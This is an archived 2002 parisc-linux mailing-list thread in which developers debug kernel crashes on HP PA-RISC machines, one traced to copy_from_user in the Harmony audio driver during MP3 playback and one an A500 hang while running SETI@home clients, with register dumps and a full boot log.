I've been experiencing several crashes on B132L+ while playing mp3s with
mpg123, the box was then running 2.4.18-pa21.
I've tried recently with 2.4.19-pa18, and it crashed again.
The crash happens at random time, on random files.

What's worth mentionning is that files are played from a remote NFS
filesystem. (BTW, the console shows "svc: unknown version (0)" when
mounting the NFS system).

So I took my little fingers and I reproduced here what the console
showed me. I hope there is now mistake in this "hand dump", though I
read it twice ;)

HTH,


Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/




WARNING! Stack pointer and cr30 do not correspond!
Dumping virtual address stack instead

Kernel Fault: Code=15 regs=11ddc640 (Addr=00277e00)

      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000011000000000000001111 Not tainted
r00-03  00000000 00000023 101feac4 00000200
r04-07  1035c1fc fffff000 1035c010 00000000
r08-11  1035c1fc 00001200 1035c010 1035c010
r12-15  00029f00 1035c25c faf01590 00017000
r16-19  00028678 00028678 00002000 00000e00
r20-23  00001000 00000000 00000001 00001200
r24-27  000001ff 00029f01 00277e00 10290010
r28-31  00000000 ffffffff 11ddc640 101fea8c
sr0-3   00000000 00000246 00000000 00000246
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 0000000 IAOQ: 10263c78 10263c70
   IIR: 0f411222    ISR: 00000000   IOR: 00277e00
   CPU:        0   CR30: 11ddc000  CR31: 10338000
   ORIG_R28: 11ddc7b8





From - Thu Nov 08 21:24:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B132L+ crash with mpg123
Date: Tue, 17 Sep 2002 11:00:01 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <20020917170001.DA8DC4829@dsl2.external.hp.com>
References: <3D8701AA.4040700@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621725 14059 80.91.229.3 (22 Nov 2014 02:02:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:05 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 17 11:00:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id DA8DC4829; Tue, 17 Sep 2002 11:00:01 -0600 (MDT)
In-Reply-To: Message from Thibaut VARENE <varenet@esiee.fr> 
   of "Tue, 17 Sep 2002 12:19:22 +0200." <3D8701AA.4040700@esiee.fr> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16151

Thibaut VARENE wrote:
> I've been experiencing several crashes on B132L+ while playing mp3s with
> mpg123, the box was then running 2.4.18-pa21.

Harmony driver definitely has some bugs.
My B180 is stable until I listen to MP3s as well.
System crashes after ~1 hour of play.

> What's worth mentionning is that files are played from a remote NFS
> filesystem. (BTW, the console shows "svc: unknown version (0)" when
> mounting the NFS system).

I'm doing everything local.

> Kernel Fault: Code=15 regs=11ddc640 (Addr=00277e00)
> 
>       YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000011000000000000001111 Not tainted
> r00-03  00000000 00000023 101feac4 00000200
...
> IASQ: 00000000 0000000 IAOQ: 10263c78 10263c70
...
what symbols do 101feac4 and 10263c78 refer to?

grant


From - Thu Nov 08 21:24:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B132L+ crash with mpg123
Date: Tue, 17 Sep 2002 18:07:13 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20020917180713.P10583@parcelfarce.linux.theplanet.co.uk>
References: <3D8701AA.4040700@esiee.fr> <varenet@esiee.fr> <20020917170001.DA8DC4829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621725 14064 80.91.229.3 (22 Nov 2014 02:02:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:05 +0000 (UTC)
Cc: Thibaut VARENE <varenet@esiee.fr>,
	parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 17 11:07:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id EF7624829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Sep 2002 11:07:15 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17rLof-0001ae-00; Tue, 17 Sep 2002 18:07:13 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020917170001.DA8DC4829@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Tue, Sep 17, 2002 at 11:00:01AM -0600
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16152

On Tue, Sep 17, 2002 at 11:00:01AM -0600, Grant Grundler wrote:
> > Kernel Fault: Code=15 regs=11ddc640 (Addr=00277e00)
> > 
> >       YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> > PSW: 00000000000011000000000000001111 Not tainted
> > r00-03  00000000 00000023 101feac4 00000200
> ...
> > IASQ: 00000000 0000000 IAOQ: 10263c78 10263c70
> ...
> what symbols do 101feac4 and 10263c78 refer to?

10263c78 is in copy_from_user, 101feac4 is in harmony_audio_write().
the only point at which we call copy_from_user is:

                /* Copy the page to an aligned buffer */
                copy_from_user(played_buf.addr + (HARMONY_BUF_SIZE*buf_to_fill)
					+ harmony.play_offset,
				buffer+count, frame_size);


-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:24:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Fwd: A500 hang up 2.4.19-pa18 (lot of) details
Date: Tue, 17 Sep 2002 19:16:52 +0200
Organization: ESIEE
Lines: 831
Approved: news@gmane.org
Message-ID: <3D876384.1090200@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621726 14067 80.91.229.3 (22 Nov 2014 02:02:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:06 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 17 11:19:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6B5204829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Sep 2002 11:19:03 -0600 (MDT)
Original-Received: from esiee.fr (grobluk.esiee.fr [147.215.7.22])
	by mail.esiee.fr (Postfix) with ESMTP id D3DB049BEA
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Sep 2002 19:19:00 +0200 (CEST)
User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.1) Gecko/20020827
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16153

This a forward to the p-l.o m-l about hang-up with 2.4.19-pa18 kernel, 
that occurs when playing around with setiathome. See the transcript for 
details.

info taken from System.map:

mkhppa3:~# ./a.out 000000001015c620
0x1015c620 kmem_cache_free+a8
mkhppa3:~# ./a.out 000000001015bfb0
0x1015bfb0 free_block+48

BTW, you'll notice that the second CPU timed-out, instead of dumping 
when the first one died...

HTH


Thibaut VARENE wrote:
> 
> 
> I was able to reproduce the same hang, with a little variant:
> the first time i hanged the box, i launched both seti one after the 
> other (i.e., "cd seti1; ./setiathome &" and then "cd ../seti2; 
> ./setiathome &") and the box crashed when firing the second one.
> 
> Here i started one. then did some small commands like "ls", "top" and 
> so, and then started the second one. It didn't crash. I did a top, ls, 
> ps -ef, no pb.
> Then i decided to stop both setis (killall setiathome), and start one 
> again. It crahsed.
> 
> See the following session transcript:
> 
> Booting...
> Boot IO Dependent Code (IODC) revision 1
> 
> 
> HARD Booted.
> palo ipl 0.97 root@c3k Tue Nov 27 14:51:48 MST 2001
> Information: Boot device can't seek past 2Gb (ignore next 
> error).byteio_read: seekread() returned -1 expected 2048
> 
> Partition Start(MB) End(MB) Id Type
> 1               1      15   f0 Palo
> 2              16     503   82 swap
> 3             504    2887   83 ext2
> 
> PALO(F0) partition contains:
>     0/vmlinux64 3990942 bytes @ 0x44000
> 
> Information: No console specified on kernel command line. This is normal.
> PALO will choose the console currently  used by firmware (serial).
> Command line for kernel: 'root=/dev/sda3 HOME=/ console=ttyS0 TERM=vt102'
> Selected kernel: /boot/vmlinux from partition 3
> ELF64 executable
> Entry 00100000 first 00100000 n 4
> Segment 0 load 00100000 size 2448040 mediaptr 0x1000
> Segment 1 load 00356000 size 1043344 mediaptr 0x257000
> Segment 2 load 00458000 size 431368 mediaptr 0x356000
> Segment 3 load 004c4000 size 49152 mediaptr 0x3c0000
> Branching to kernel entry point 0x00100000.  If this is the last
> message you see, you may need to switch your console.  This is
> a common symptom -- search the FAQ and mailing list at parisc-linux.org
> 
> Linux version 2.4.19-pa18 (root@mkhppa3) (gcc version 3.0) #1 SMP Sun 
> Sep 15 18:21:12 CEST 2002
> FP[0] enabled: Rev 1 Model 16
> The 64-bit Kernel has started...
> Determining PDC firmware type: 64 bit PAT.
> model 00005d50 00000491 00000000 00000001 5cbb53d8 100000f0 00000008 
> 000000b2 000000b2
> vers  00000301
> CPUID vers 18 rev 11 (0x0000024b)
> capabilities 0x1
> model 9000/800/A500-5X
> Total Memory: 1024 Mb
> pagetable_init
> On node 0 totalpages: 262144
> zone(0): 262144 pages.
> zone(1): 0 pages.
> zone(2): 0 pages.
> Kernel command line: root=/dev/sda3 HOME=/ console=ttyS0 TERM=vt102
> Calibrating delay loop... 1097.72 BogoMIPS
> Memory: 1019664k available
> Dentry cache hash table entries: 131072 (order: 9, 2097152 bytes)
> Inode cache hash table entries: 65536 (order: 8, 1048576 bytes)
> Mount-cache hash table entries: 16384 (order: 6, 262144 bytes)
> Buffer-cache hash table entries: 65536 (order: 7, 524288 bytes)
> Page-cache hash table entries: 262144 (order: 9, 2097152 bytes)
> Searching for devices...
> Found devices:
> 1. Crescendo 550 (0) at 0xfffffffffffa0000 [160], versions 0x5d5, 0x0, 0x4
> 2. Crescendo 550 (0) at 0xfffffffffffa2000 [162], versions 0x5d5, 0x0, 0x4
> 3. Astro BC Runway Port (12) at 0xfffffffffed00000 [0], versions 0x582, 
> 0x0, 0xb
> 4. Elroy PCI Bridge (13) at 0xfffffffffed30000 [0/0], versions 0x782, 
> 0x0, 0xa
> 5. Elroy PCI Bridge (13) at 0xfffffffffed34000 [0/2], versions 0x782, 
> 0x0, 0xa
> 6. Elroy PCI Bridge (13) at 0xfffffffffed38000 [0/4], versions 0x782, 
> 0x0, 0xa
> 7. Elroy PCI Bridge (13) at 0xfffffffffed3c000 [0/6], versions 0x782, 
> 0x0, 0xa
> 8. Memory (1) at 0xfffffffffed08000 [8], versions 0x9b, 0x0, 0x9
> CPU(s): 2 x PA8600 (PCX-W+) at 550.000000 MHz
> SBA found Astro 2.1 at 0xfffffffffed00000
> lba version TR4.0 (0x5) found at 0xfffffffffed30000
> lba range[2] : ignoring GMMIO (0xfffffff804000000)
> lba version TR4.0 (0x5) found at 0xfffffffffed34000
> lba range[2] : ignoring GMMIO (0xfffffff904000000)
> lba version TR4.0 (0x5) found at 0xfffffffffed38000
> lba range[2] : ignoring GMMIO (0xfffffffa04000000)
> lba version TR4.0 (0x5) found at 0xfffffffffed3c000
> lba range[2] : ignoring GMMIO (0xfffffffb04000000)
> POSIX conformance testing by UNIFIX
> FP[1] enabled: Rev 1 Model 16
> SMP: Total 2 of 2 processors activated (2195.46 BogoMIPS noticed).
> Waiting on wait_init_idle (map = 0x2)
> All processors have done init_idle
> Linux NET4.0 for Linux 2.4
> Based upon Swansea University Computer Society NET3.039
> Initializing RT netlink socket
> Soft power switch support not available.
> Performance monitoring counters enabled for Crescendo 550
> Starting kswapd
> Journalled Block Device driver loaded
> Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
> pty: 256 Unix98 ptys configured
> Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ 
> SERIAL_PCI enabled
> Redundant entry in serial pci_table.  Please send the output of
> lspci -vv, this message (103c,1048,103c,1049)
> and the manufacturer and name of serial board or modem board
> to serial-pci-info@lists.sourceforge.net.
> ttyS00 at iomem 0xfffffffff8000000 (irq = 132) is a 16550A
> ttyS01 at iomem 0xfffffffff8000008 (irq = 132) is a 16550A
> ttyS02 at iomem 0xfffffffff8000010 (irq = 132) is a 16550A
> Redundant entry in serial pci_table.  Please send the output of
> lspci -vv, this message (103c,1048,103c,104a)
> and the manufacturer and name of serial board or modem board
> to serial-pci-info@lists.sourceforge.net.
> ttyS03 at iomem 0xfffffffff8006000 (irq = 133) is a 16550A
> ttyS04 at iomem 0xfffffffff8006008 (irq = 133) is a 16550A
> Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
> RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
> loop: loaded (max 8 devices)
> Linux Tulip driver version 0.9.15-pre11 (May 11, 2002)
> tulip0: no phy info, aborting mtable build
> tulip0:  MII transceiver #1 config 1000 status 782d advertising 0061.
> eth0: Digital DS21143 Tulip rev 65 at 0xfffffffff8007000, 
> 00:30:6E:0C:8A:8F, IRQ 128.
> SCSI subsystem driver Revision: 1.00
> sym53c8xx: at PCI bus 0, device 2, function 0
> sym53c8xx: 53c875 detected
> sym53c8xx: at PCI bus 0, device 2, function 1
> sym53c8xx: 53c875 detected
> sym53c8xx: at PCI bus 0, device 1, function 0
> sym53c8xx: setting PCI_COMMAND_INVALIDATE (fix-up)
> sym53c8xx: 53c896 detected
> sym53c8xx: at PCI bus 0, device 1, function 1
> sym53c8xx: setting PCI_COMMAND_INVALIDATE (fix-up)
> sym53c8xx: 53c896 detected
> sym53c875-0: rev 0x14 on pci bus 0 device 2 function 0 irq 130
> sym53c875-0: ID 7, Fast-10, Parity Checking
> sym53c875-1: rev 0x14 on pci bus 0 device 2 function 1 irq 131
> sym53c875-1: ID 7, Fast-20, Parity Checking
> sym53c896-2: rev 0x7 on pci bus 0 device 1 function 0 irq 129
> sym53c896-2: ID 7, Fast-20, Parity Checking
> sym53c896-2: handling phase mismatch from SCRIPTS.
> sym53c896-3: rev 0x7 on pci bus 0 device 1 function 1 irq 130
> sym53c896-3: ID 7, Fast-20, Parity Checking
> sym53c896-3: handling phase mismatch from SCRIPTS.
> scsi0 : sym53c8xx-1.7.3c-20010512
> scsi1 : sym53c8xx-1.7.3c-20010512
> scsi2 : sym53c8xx-1.7.3c-20010512
> scsi3 : sym53c8xx-1.7.3c-20010512
>   Vendor: SEAGATE   Model: ST39103LC         Rev: HP02
>   Type:   Direct-Access                      ANSI SCSI revision: 02
> Attached scsi disk sda at scsi1, channel 0, id 15, lun 0
> sym53c875-1-<15,*>: FAST-20 WIDE SCSI 40.0 MB/s (50.0 ns, offset 15)
> SCSI device sda: 17783112 512-byte hdwr sectors (9105 MB)
> Partition check:
>  sda: sda1 sda2 sda3 sda4 < sda5 sda6 >
> NET4: Linux TCP/IP 1.0 for NET4.0
> IP Protocols: ICMP, UDP, TCP
> IP: routing cache hash table of 1024 buckets, 48Kbytes
> TCP: Hash tables configured (established 32768 bind 65536)
> NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
> kjournald starting.  Commit interval 5 seconds
> EXT3-fs: mounted filesystem with ordered data mode.
> VFS: Mounted root (ext3 filesystem) readonly.
> Freeing unused kernel memory: 421k freed
> INIT: version 2.84 booting
> Activating swap.
> Adding Swap: 499704k swap-space (priority -1)
> Checking root file system...
> fsck 1.27 (8-Mar-2002)
> /dev/sda3: clean, 57492/305216 files, 321970/610304 blocks
> EXT3 FS 2.4-0.9.17, 10 Jan 2002 on sd(8,3), internal journal
> System time was Mon Sep 16 10:11:13 UTC 2002.
> Setting the System Clock using the Hardware Clock as reference...
> System Clock set. System local time is now Mon Sep 16 10:10:05 UTC 2002.
> Calculating module dependencies... depmod: Can't open 
> /lib/modules/2.4.19-pa18/modules.dep for writing
> done.
> Loading modules:
> modprobe: Can't open dependencies file 
> /lib/modules/2.4.19-pa18/modules.dep (No such file or directory)
> Checking all file systems...
> fsck 1.27 (8-Mar-2002)
> /dev/sda5: clean, 104123/366528 files, 553485/732412 blocks
> /dev/sda6 has been mounted 35 times without being checked, check forced.
> /dev/sda6: 132287/376096 files (6.2% non-contiguous), 695541/751356 blocks
> Setting kernel variables.
> Mounting local filesystems...
> kjournald starting.  Commit interval 5 seconds
> EXT3 FS 2.4-0.9.17, 10 Jan 2002 on sd(8,5), internal journal
> EXT3-fs: mounted filesystem with ordered data mode.
> /dev/sda5 on /home type ext3 (rw)
> kjournald starting.  Commit interval 5 seconds
> EXT3 FS 2.4-0.9.17, 10 Jan 2002 on sd(8,6), internal journal
> EXT3-fs: mounted filesystem with ordered data mode.
> /dev/sda6 on /work type ext3 (rw)
> Cleaning: /etc/network/ifstate.
> Setting up IP spoofing protection: rp_filter.
> Configuring network interfaces: done.
> Starting portmap daemon: portmap.
> Loading the saved-state of the serial devices...
> Cannot set serial info: Device or resource busy
> /dev/ttyS0 at 0x0000 (irq = 132) is a 16550A
> /dev/ttyS1 at 0x0500 (irq = 133) is a 16550A
> /dev/ttyS2 at 0x0000 (irq = 132) is a 16550A
> /dev/ttyS3 at 0x0000 (irq = 133) is a 16550A
> 
> Setting the System Clock using the Hardware Clock as reference...
> System Clock set. Local time: Mon Sep 16 12:11:23 CEST 2002
> 
> Cleaning: /tmp /var/lock /var/run.
> eth0: Setting half-duplex based on MII#1 link partner capability of 0021.
> Initializing random number generator... done.
> Recovering nvi editor sessions... done.
> INIT: Entering runlevel: 2
> Starting system log daemon: syslogd.
> Starting kernel log daemon: klogd.
> Starting NFS common utilities: statd.
> Starting internet superserver: inetd.
> Starting OpenBSD Secure Shell server: sshd.
> Starting NTP server: ntpd.
> Starting NFS servers: nfsd mountd.
> Starting periodic command scheduler: cron.
> 
> Debian GNU/Linux testing/unstable mkhppa3 ttyS0
> 
> mkhppa3 login: varenet
> Password:
> Last login: Mon Sep 16 12:02:45 2002 from grobluk.esiee.fr on pts/0
> Linux mkhppa3 2.4.19-pa18 #1 SMP Sun Sep 15 18:21:12 CEST 2002 parisc64 
> unknown unknown GNU/Linux
> 
> Most of the programs included with the Debian GNU/Linux system are
> freely redistributable; the exact distribution terms for each program
> are described in the individual files in /usr/share/doc/*/copyright
> 
> Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
> permitted by applicable law.
> [varenet@mkhppa3 ~]$ cd seti
> seti1
> seti2
> setiathome-3.03.hppa-parisc-palinux.tar
> [varenet@mkhppa3 ~]$ cd seti1/
> [varenet@mkhppa3 ~/seti1]$ ./setiathome &
> [1] 185
> [varenet@mkhppa3 ~/seti1]$ >>DEBUG : Use LOCKFSETI@home client.
> Platform: hppa-parisc-palinux
> Version: 3.03
> 
> SETI@home is sponsored by individual donors around the world.
> If you'd like to contribute to the project,
> please visit the SETI@home web site at
> http://setiathome.ssl.berkeley.edu.
> The project is also sponsored by the Planetary Society,
> the University of California, Sun Microsystems, Paramount Pictures,
> Fujifilm Computer Products, Informix, Engineering Design Team Inc,
> The Santa Cruz Operation (SCO), Intel, Quantum Corporation,
> and the SETI Institute.
> 
> SETI@home was developed by David Gedye (Founder),
> David Anderson (Director), Dan Werthimer (Chief Scientist),
> Leonard Chung, Hiram Clawson, Jeff Cobb, Charles Congdon, Charlie Fenton,
> Kyle Granger, Eric Heien, Mike Hill, Michael Kang, Eric Korpela,
> Matt Lebofsky, Peter Leiser, Brad Silen, Woody Sullivan, and Adam Wight.
> 
> Scanning data file
> Data Info:
> Sky coordinates:  1.605 R.A.,  8.090 Dec
> Recorded on:  2452319.35352 (Wed Feb 13 20:29:04 2002)
> Source: Arecibo Radio Observatory
> Base Frequency: 1.421201172 GHz
> Found data file: yes. Found result header file: yes.
> Scanning result header file.
> Beginning analysis...
>         (This is the last message displayed while the client works.
>         To see progress messages between now and completion of
>         processing, operate the client with the -verbose option.
>         You can also see the progress of the client by looking at
>  12:11:58 up 3 min,  1 user,  load average: 0.74, 0.48, 0.19
> 23 processes: 21 sleeping, 2 running, 0 zombie, 0 stopped
> CPU states:   0.1% user,   0.9% system,  48.1% nice,  50.9% idle
> Mem:   1020088K total,   101308K used,   918780K free,     1468K buffers
> Swap:   499704K total,        0K used,   499704K free,     9792K cached
> 
>   PID USER     PRI  NI  SIZE  RSS SHARE STAT %CPU %MEM   TIME COMMAND
>   185 varenet   18   1 13772  13M   376 R N  97.4  1.3   0:11 setiathome
>   187 varenet   12   0  1128 1132   912 R     0.7  0.1   0:00 top
>     1 root       9   0   612  616   520 S     0.0  0.0   0:07 init
>     2 root       9   0     0    0     0 SW    0.0  0.0   0:00 keventd
>     3 root      19  19     0    0     0 SWN   0.0  0.0   0:00 
> ksoftirqd_CPU0
>     4 root      18  19     0    0     0 SWN   0.0  0.0   0:00 
> ksoftirqd_CPU1
>     5 root       9   0     0    0     0 SW    0.0  0.0   0:00 kswapd
>     6 root       9   0     0    0     0 SW    0.0  0.0   0:00 bdflush
>     7 root       9   0     0    0     0 SW    0.0  0.0   0:02 kupdated
>     8 root       9   0     0    0     0 SW    0.0  0.0   0:00 kjournald
> 
>    66 root       9   0     0    0     0 SW    0.0  0.0   0:00 kjournald
>    67 root       9   0     0    0     0 SW    0.0  0.0   0:00 kjournald
>    90 daemon     9   0   564  564   452 S     0.0  0.0   0:00 portmap
>   146 root       9   0  1004 1004   840 S     0.0  0.0   0:00 syslogd
>   149 root       9   0  1424 1424   508 S     0.0  0.1   0:00 klogd
>   153 root       9   0   840  840   712 S     0.0  0.0   0:00 rpc.statd
> 
> [varenet@mkhppa3 ~]$ cd seti2/
> [varenet@mkhppa3 ~/seti2]$ ./setiathome &
> [2] 188
> [varenet@mkhppa3 ~/seti2]$ >>DEBUG : Use LOCKFSETI@home client.
> Platform: hppa-parisc-palinux
> Version: 3.03
> 
> SETI@home is sponsored by individual donors around the world.
> If you'd like to contribute to the project,
> please visit the SETI@home web site at
> http://setiathome.ssl.berkeley.edu.
> The project is also sponsored by the Planetary Society,
> the University of California, Sun Microsystems, Paramount Pictures,
> Fujifilm Computer Products, Informix, Engineering Design Team Inc,
> The Santa Cruz Operation (SCO), Intel, Quantum Corporation,
> and the SETI Institute.
> 
> SETI@home was developed by David Gedye (Founder),
> David Anderson (Director), Dan Werthimer (Chief Scientist),
> Leonard Chung, Hiram Clawson, Jeff Cobb, Charles Congdon, Charlie Fenton,
> Kyle Granger, Eric Heien, Mike Hill, Michael Kang, Eric Korpela,
> Matt Lebofsky, Peter Leiser, Brad Silen, Woody Sullivan, and Adam Wight.
> 
> Scanning data file
> Data Info:
> Sky coordinates:  4.859 R.A., 18.010 Dec
> Recorded on:  2452425.22882 (Thu May 30 17:29:29 2002)
> Source: Arecibo Radio Observatory
> Base Frequency: 1.420849609 GHz
> Found data file: yes. Found result header file: yes.
> Scanning result header file.
>  12:12:37 up 4 min,  1 user,  load average: 1.20, 0.63, 0.25
> 24 processes: 21 sleeping, 3 running, 0 zombie, 0 stopped
> CPU states:   0.1% user,   1.1% system,  98.8% nice,   0.0% idle
> Mem:   1020088K total,   117088K used,   903000K free,     1548K buffers
> Swap:   499704K total,        0K used,   499704K free,    10784K cached
> 
>   PID USER     PRI  NI  SIZE  RSS SHARE STAT %CPU %MEM   TIME COMMAND
>   185 varenet   15   1 14984  14M   376 R N  99.8  1.4   0:49 setiathome
>   188 varenet   16   1 13772  13M   376 R N  99.6  1.3   0:24 setiathome
>   190 varenet   11   0  1128 1132   912 R     0.7  0.1   0:00 top
>     1 root       9   0   612  616   520 S     0.0  0.0   0:07 init
>     2 root       9   0     0    0     0 SW    0.0  0.0   0:00 keventd
>     3 root      19  19     0    0     0 SWN   0.0  0.0   0:00 
> ksoftirqd_CPU0
>     4 root      18  19     0    0     0 SWN   0.0  0.0   0:00 
> ksoftirqd_CPU1
>     5 root       9   0     0    0     0 SW    0.0  0.0   0:00 kswapd
>     6 root       9   0     0    0     0 SW    0.0  0.0   0:00 bdflush
>     7 root       9   0     0    0     0 SW    0.0  0.0   0:02 kupdated
>     8 root       9   0     0    0     0 SW    0.0  0.0   0:00 kjournald
>    66 root       9   0     0    0     0 SW    0.0  0.0   0:00 kjournald
>    67 root       9   0     0    0     0 SW    0.0  0.0   0:00 kjournald
>    90 daemon     9   0   564  564   452 S     0.0  0.0   0:00 portmap
>   146 root       9   0  1004 1004   840 S     0.0  0.0   0:00 syslogd
>   149 root       9   0  1424 1424   508 S     0.0  0.1   0:00 klogd
> 
> q[varenet@mkhppa3 ~/seti2]$ killall setiathome
> [varenet@mkhppa3 ~/seti2]$ cat /proc/version
> Linux version 2.4.19-pa18 (root@mkhppa3) (gcc version 3.0) #1 SMP Sun 
> Sep 15 18:21:12 CEST 2002
> [1]-  Terminated              ./setiathome  (wd: ~/seti1)
> (wd now: ~/seti2)
> [2]+  Terminated              ./setiathome
> [varenet@mkhppa3 ~/seti2]$ crontab -l
> @hourly         cd /home/varenet/seti1; ./setiathome -nice 20 -proxy 
> cache:3128 &
> #@reboot                cd /home/varenet/dnetc; ./dnetc
> @hourly         cd /home/varenet/seti2; ./setiathome -nice 20 -proxy 
> cache:3128 &
> [varenet@mkhppa3 ~/seti2]$ cd /home/varenet/seti1; ./setiathome -nice 20 
> -proxy cache:3128 &
> WARNING! Stack pointer and cr30 do not correspond!
> Dumping virtual address stack instead
> 
> Dumping Stack from 0x000000005f5a0000 to 0x000000005f5a4dc0:
> 
> 
> And nothing more.
> 
> after a toc, here was the content of SER PIM output:
> (I dumped everything, not sure of what may be useful or not ;)
> 
> Main Menu: Enter command or menu > ser pim
> 
> 
> PROCESSOR PIM INFORMATION
> 
> 
> 
> -----------------  Processor 0 HPMC Information - PDC Version: 40.50 ------
> 
> Timestamp =    Tue Oct  23 19:05:06 GMT 2001    (20:01:10:23:19:05:06)
> 
> HPMC Chassis Codes
> 
